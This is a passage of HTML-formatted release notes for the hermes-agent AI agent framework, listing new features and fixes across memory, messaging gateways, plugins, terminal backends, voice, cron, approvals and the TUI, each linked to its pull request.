<li><strong>Index <code>tool_name</code> + <code>tool_calls</code> in FTS5, with repair + migration</strong> (salvages <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341230419" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/16866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16866/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/16866">#16866</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/16914" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16914/hovercard">#16914</a>)</li>
<li><strong>Checkpoints: auto-prune orphan and stale shadow repos at startup</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16303/hovercard">#16303</a>)</li>
<li><strong>Memory providers notified on mid-process session_id rotation</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4233233054" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/6672" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/6672/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/6672">#6672</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17409" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17409/hovercard">#17409</a>)</li>
<li>Fix: quote underscored terms in FTS5 query sanitization (<a href="https://github.com/NousResearch/hermes-agent/pull/16915" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16915/hovercard">#16915</a>)</li>
<li>Fix: resolve viking_read 500/412 on file URIs + pseudo-summary URIs (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4219466696" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/5886" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/5886/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/5886">#5886</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17869" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17869/hovercard">#17869</a>)</li>
<li>Fix: skip external-provider sync on interrupted turns (<a href="https://github.com/NousResearch/hermes-agent/pull/15395" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15395/hovercard">#15395</a>)</li>
<li>Fix: close embedded Hindsight async client cleanly (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4317073027" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/14605" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14605/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/14605">#14605</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/16209" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16209/hovercard">#16209</a>)</li>
<li>Fix: pass session transcript to <code>shutdown_memory_provider</code> on gateway + CLI (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4323309155" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/15165" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/15165/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/15165">#15165</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/16571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16571/hovercard">#16571</a>)</li>
<li>Fix: write-origin metadata seam (<a href="https://github.com/NousResearch/hermes-agent/pull/15346" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15346/hovercard">#15346</a>)</li>
<li>Fix: preserve symlinks during atomic file writes (<a href="https://github.com/NousResearch/hermes-agent/pull/16980" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16980/hovercard">#16980</a>)</li>
<li>Refactor: remove <code>flush_memories</code> entirely (<a href="https://github.com/NousResearch/hermes-agent/pull/15696" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15696/hovercard">#15696</a>)</li>
</ul>
<h3>Auxiliary models</h3>
<ul>
<li>Fix: surface auxiliary failures in UI (previously silent) (<a href="https://github.com/NousResearch/hermes-agent/pull/15324" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15324/hovercard">#15324</a>)</li>
<li>Fix: surface title-gen auxiliary failures instead of silently dropping (<a href="https://github.com/NousResearch/hermes-agent/pull/16371" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16371/hovercard">#16371</a>)</li>
<li>Fix: generalize unsupported-parameter detector and harden <code>max_tokens</code> retry (<a href="https://github.com/NousResearch/hermes-agent/pull/15633" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15633/hovercard">#15633</a>)</li>
</ul>
<hr>
<h2>📱 Messaging Platforms (Gateway)</h2>
<h3>New Platforms</h3>
<ul>
<li><strong>Microsoft Teams (19th platform)</strong> — as a plugin, + xdist collision guard (<a href="https://github.com/NousResearch/hermes-agent/pull/17828" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17828/hovercard">#17828</a>)</li>
<li><strong>Yuanbao (Tencent 元宝, 18th platform)</strong> — native adapter with text + media delivery (<a href="https://github.com/NousResearch/hermes-agent/pull/16298" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16298/hovercard">#16298</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17424" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17424/hovercard">#17424</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/16880" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16880/hovercard">#16880</a>)</li>
</ul>
<h3>Pluggable Gateway Platforms</h3>
<ul>
<li><strong>Drop-in messaging adapters</strong> — the gateway is now a plugin host for platforms (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354380493" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/17664" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17664/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/17664">#17664</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17751/hovercard">#17751</a>)</li>
</ul>
<h3>Telegram</h3>
<ul>
<li><strong>Chat allowlists for groups and forums</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/15027" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15027/hovercard">#15027</a>)</li>
<li><strong>Send fresh finals for stale preview streams</strong> (port openclaw#72038) (<a href="https://github.com/NousResearch/hermes-agent/pull/16261" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16261/hovercard">#16261</a>)</li>
<li><strong>Render markdown tables as row-group bullets + prompt hint</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16997" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16997/hovercard">#16997</a>)</li>
<li>Document fallback in centralized audio routing (<a href="https://github.com/NousResearch/hermes-agent/pull/17833" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17833/hovercard">#17833</a>)</li>
<li>Native multi-image sending (<a href="https://github.com/NousResearch/hermes-agent/pull/17909" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17909/hovercard">#17909</a>)</li>
</ul>
<h3>Discord</h3>
<ul>
<li><strong>Opt-in toolsets + ID injection + tool split + Feishu wiring</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4326473219" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/15457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15457/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/15457">#15457</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4326473674" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/15458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15458/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/15458">#15458</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/15610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15610/hovercard">#15610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/15613" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15613/hovercard">#15613</a>)</li>
<li>Fix: coerce <code>limit</code> parameter to int before <code>min()</code> call (<a href="https://github.com/NousResearch/hermes-agent/pull/16319" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16319/hovercard">#16319</a>)</li>
</ul>
<h3>Slack</h3>
<ul>
<li><strong>Register every gateway command as a native slash (Discord/Telegram parity)</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16164/hovercard">#16164</a>)</li>
<li><strong><code>strict_mention</code> config</strong> — prevents thread auto-engagement (<a href="https://github.com/NousResearch/hermes-agent/pull/16193" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16193/hovercard">#16193</a>)</li>
<li><strong><code>channel_skill_bindings</code></strong> — bind specific skills to specific Slack channels (<a href="https://github.com/NousResearch/hermes-agent/pull/16283" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16283/hovercard">#16283</a>)</li>
</ul>
<h3>Signal</h3>
<ul>
<li><strong>Native formatting</strong> — markdown → bodyRanges, reply quotes, reactions (<a href="https://github.com/NousResearch/hermes-agent/pull/17417" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17417/hovercard">#17417</a>)</li>
<li>Native multi-image sending (<a href="https://github.com/NousResearch/hermes-agent/pull/17909" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17909/hovercard">#17909</a>)</li>
</ul>
<h3>Feishu / Mattermost / Email / Signal</h3>
<ul>
<li>All participate in <strong>native multi-image sending</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17909" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17909/hovercard">#17909</a>)</li>
</ul>
<h3>Gateway Core</h3>
<ul>
<li><strong>Centralized audio routing + FLAC support + Telegram doc fallback</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17833" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17833/hovercard">#17833</a>)</li>
<li><strong>Native multi-image sending</strong> across Telegram, Discord, Slack, Mattermost, Email, Signal (<a href="https://github.com/NousResearch/hermes-agent/pull/17909" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17909/hovercard">#17909</a>)</li>
<li><strong>Make hygiene hard message limit configurable</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17000" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17000/hovercard">#17000</a>)</li>
<li><strong>Opt-in runtime-metadata footer on final replies</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17026" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17026/hovercard">#17026</a>)</li>
<li><strong><code>pre_gateway_dispatch</code> hook</strong> — plugins can intercept before dispatch (<a href="https://github.com/NousResearch/hermes-agent/pull/15050" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15050/hovercard">#15050</a>)</li>
<li><strong><code>pre_approval_request</code> / <code>post_approval_response</code> hooks</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16776" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16776/hovercard">#16776</a>)</li>
<li>Fix: timeouts — guard <code>load_config()</code> call against runtime exceptions (<a href="https://github.com/NousResearch/hermes-agent/pull/16318" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16318/hovercard">#16318</a>)</li>
<li>Fix: support passing handler tools via registry (<a href="https://github.com/NousResearch/hermes-agent/pull/15613" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15613/hovercard">#15613</a>)</li>
</ul>
<hr>
<h2>🔧 Tool System</h2>
<h3>Plugin-first architecture</h3>
<ul>
<li><strong>Pluggable gateway platforms</strong> — platforms can ship as plugins (<a href="https://github.com/NousResearch/hermes-agent/pull/17751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17751/hovercard">#17751</a>)</li>
<li><strong>Microsoft Teams as first plugin-shipped platform</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17828" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17828/hovercard">#17828</a>)</li>
<li><strong><code>pre_gateway_dispatch</code> hook</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/15050" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15050/hovercard">#15050</a>)</li>
<li><strong><code>pre_approval_request</code> + <code>post_approval_response</code> hooks</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16776" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16776/hovercard">#16776</a>)</li>
<li><strong><code>duration_ms</code> on <code>post_tool_call</code></strong> (inspired by Claude Code 2.1.119) (<a href="https://github.com/NousResearch/hermes-agent/pull/15429" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15429/hovercard">#15429</a>)</li>
<li><strong>Bundled plugins</strong>: Spotify (<a href="https://github.com/NousResearch/hermes-agent/pull/15174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15174/hovercard">#15174</a>), Google Meet (<a href="https://github.com/NousResearch/hermes-agent/pull/16364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16364/hovercard">#16364</a>), Langfuse observability (<a href="https://github.com/NousResearch/hermes-agent/pull/16917" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16917/hovercard">#16917</a>), hermes-achievements (<a href="https://github.com/NousResearch/hermes-agent/pull/17754" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17754/hovercard">#17754</a>)</li>
<li><strong>Page-scoped plugin slots for built-in dashboard pages</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/15658" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15658/hovercard">#15658</a>)</li>
<li><strong>Declarative plugin installation for NixOS module</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/15953" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15953/hovercard">#15953</a>)</li>
</ul>
<h3>Browser</h3>
<ul>
<li><strong>CDP supervisor</strong> — dialog detection + response + cross-origin iframe eval (<a href="https://github.com/NousResearch/hermes-agent/pull/14540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14540/hovercard">#14540</a>)</li>
<li><strong>Auto-spawn local Chromium for LAN/localhost URLs</strong> when cloud provider is configured (<a href="https://github.com/NousResearch/hermes-agent/pull/16136" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16136/hovercard">#16136</a>)</li>
</ul>
<h3>Execute code / Terminal</h3>
<ul>
<li><strong>Vercel Sandbox backend</strong> for <code>execute_code</code> / terminal (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17445" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17445/hovercard">#17445</a>)</li>
<li><strong>Collapse subagent <code>task_id</code>s to shared container</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16177" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16177/hovercard">#16177</a>)</li>
<li><strong>Docker: run container as host user</strong> to avoid root-owned bind mounts (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17305" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17305/hovercard">#17305</a>)</li>
<li>Fix: safely quote <code>~/</code> subpaths in wrapped <code>cd</code> commands (<a href="https://github.com/NousResearch/hermes-agent/pull/15394" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15394/hovercard">#15394</a>)</li>
<li>Fix: close file descriptor in <code>LocalEnvironment._update_cwd</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/17300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17300/hovercard">#17300</a>)</li>
<li>Fix: SSH — prevent tar from overwriting remote home dir permissions (<a href="https://github.com/NousResearch/hermes-agent/pull/17898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17898/hovercard">#17898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17867/hovercard">#17867</a>)</li>
</ul>
<h3>Image generation</h3>
<ul>
<li>See Provider section for updates; no new image providers this window.</li>
</ul>
<h3>TTS / Voice</h3>
<ul>
<li><strong>Pluggable TTS provider registry</strong> under <code>tts.providers.&lt;name&gt;</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/17843" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17843/hovercard">#17843</a>)</li>
<li><strong>Piper</strong> as native local TTS provider (closes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4248924949" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/8508" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/8508/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/8508">#8508</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17885" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17885/hovercard">#17885</a>)</li>
<li><strong>Voice mode CLI parity in the TUI</strong> — VAD loop + TTS + crash forensics (<a href="https://github.com/NousResearch/hermes-agent/pull/14810" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14810/hovercard">#14810</a>)</li>
<li>Fix: vision — use HERMES_HOME-based cache dir instead of cwd (<a href="https://github.com/NousResearch/hermes-agent/pull/17719" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17719/hovercard">#17719</a>)</li>
</ul>
<h3>Cron</h3>
<ul>
<li><strong>Honor <code>hermes tools</code> config for the cron platform</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/14798" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14798/hovercard">#14798</a>)</li>
<li><strong>Per-job <code>workdir</code></strong> — project-aware cron runs (<a href="https://github.com/NousResearch/hermes-agent/pull/15110" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15110/hovercard">#15110</a>)</li>
<li><strong><code>context_from</code> field</strong> — chain cron job outputs (<a href="https://github.com/NousResearch/hermes-agent/pull/15606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15606/hovercard">#15606</a>)</li>
<li>Fix: promote <code>croniter</code> to a core dependency (<a href="https://github.com/NousResearch/hermes-agent/pull/17577" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17577/hovercard">#17577</a>)</li>
</ul>
<h3>Web search</h3>
<ul>
<li><strong>Expose <code>limit</code> for <code>web_search</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16934" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16934/hovercard">#16934</a>)</li>
</ul>
<h3>Maps</h3>
<ul>
<li>Fix: include seconds in timezone UTC offset output (<a href="https://github.com/NousResearch/hermes-agent/pull/16300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16300/hovercard">#16300</a>)</li>
</ul>
<h3>Approvals</h3>
<ul>
<li><strong>Hardline blocklist for unrecoverable commands</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/15878" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15878/hovercard">#15878</a>)</li>
<li>Perf: precompile DANGEROUS_PATTERNS and HARDLINE_PATTERNS (<a href="https://github.com/NousResearch/hermes-agent/pull/17206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17206/hovercard">#17206</a>)</li>
</ul>
<h3>ACP</h3>
<ul>
<li><strong>Advertise and forward image prompts</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/18030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/18030/hovercard">#18030</a>)</li>
</ul>
<h3>API Server</h3>
<ul>
<li><strong>POST <code>/v1/runs/{run_id}/stop</code></strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328254216" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/15656" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15656/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/15656">#15656</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/15842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15842/hovercard">#15842</a>)</li>
<li><strong>Expose run status for external UIs</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344635913" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/17085" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17085/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/17085">#17085</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17458/hovercard">#17458</a>)</li>
</ul>
<h3>Nix</h3>
<ul>
<li><strong>Declarative plugin installation for NixOS module</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/15953" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15953/hovercard">#15953</a>)</li>
<li>Fix: use <code>--rebuild</code> in fix-lockfiles to bypass cached FOD store paths (<a href="https://github.com/NousResearch/hermes-agent/pull/15444" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15444/hovercard">#15444</a>)</li>
<li>Fix: <code>extraPackages</code> now actually works via per-user profile (<a href="https://github.com/NousResearch/hermes-agent/pull/17047" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17047/hovercard">#17047</a>)</li>
<li>Fix: refresh web/ npm-deps hash to unblock main builds (<a href="https://github.com/NousResearch/hermes-agent/pull/17174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17174/hovercard">#17174</a>)</li>
<li>Fix: replace magic-nix-cache with Cachix (<a href="https://github.com/NousResearch/hermes-agent/pull/17928" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17928/hovercard">#17928</a>)</li>
</ul>
<hr>
<h2>🖥️ TUI</h2>
<h3>New features</h3>
<ul>
<li><strong>LaTeX rendering</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17175" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17175/hovercard">#17175</a>)</li>
<li><strong><code>/reload</code> .env hot-reload</strong> — ported from the classic CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/17286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17286/hovercard">#17286</a>)</li>
<li><strong>Pluggable busy-indicator styles</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4304012946" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/13610" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/13610/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/13610">#13610</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17150" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17150/hovercard">#17150</a>)</li>
<li><strong>Opt-in auto-resume of the most recent session</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17130" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17130/hovercard">#17130</a>)</li>
<li><strong>Expanded light-terminal auto-detection</strong> — <code>HERMES_TUI_THEME</code> + background hex (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17113" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17113/hovercard">#17113</a>)</li>
<li><strong>Delete sessions from <code>/resume</code> picker with <code>d</code></strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17668" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17668/hovercard">#17668</a>)</li>
<li><strong>Line-by-line scroll on modified mouse wheel</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17669" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17669/hovercard">#17669</a>)</li>
<li><strong>Delete queued message while editing with ctrl-x / cancel with esc</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/16707" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16707/hovercard">#16707</a>)</li>
<li><strong>Per-section visibility for the details accordion</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/14968" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14968/hovercard">#14968</a>)</li>
<li><strong>Voice mode CLI parity</strong> — VAD loop + TTS + crash forensics (<a href="https://github.com/NousResearch/hermes-agent/pull/14810" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14810/hovercard">#14810</a>)</li>
<li><strong>Contextual first-touch hints ported to TUI</strong> — <code>/busy</code>, <code>/verbose</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/16054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16054/hovercard">#16054</a>)</li>
<li><strong>Mini help menu on <code>?</code> in the input field</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/18043" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/18043/hovercard">#18043</a>)</li>
</ul>
<h3>Fixes</h3>
<ul>
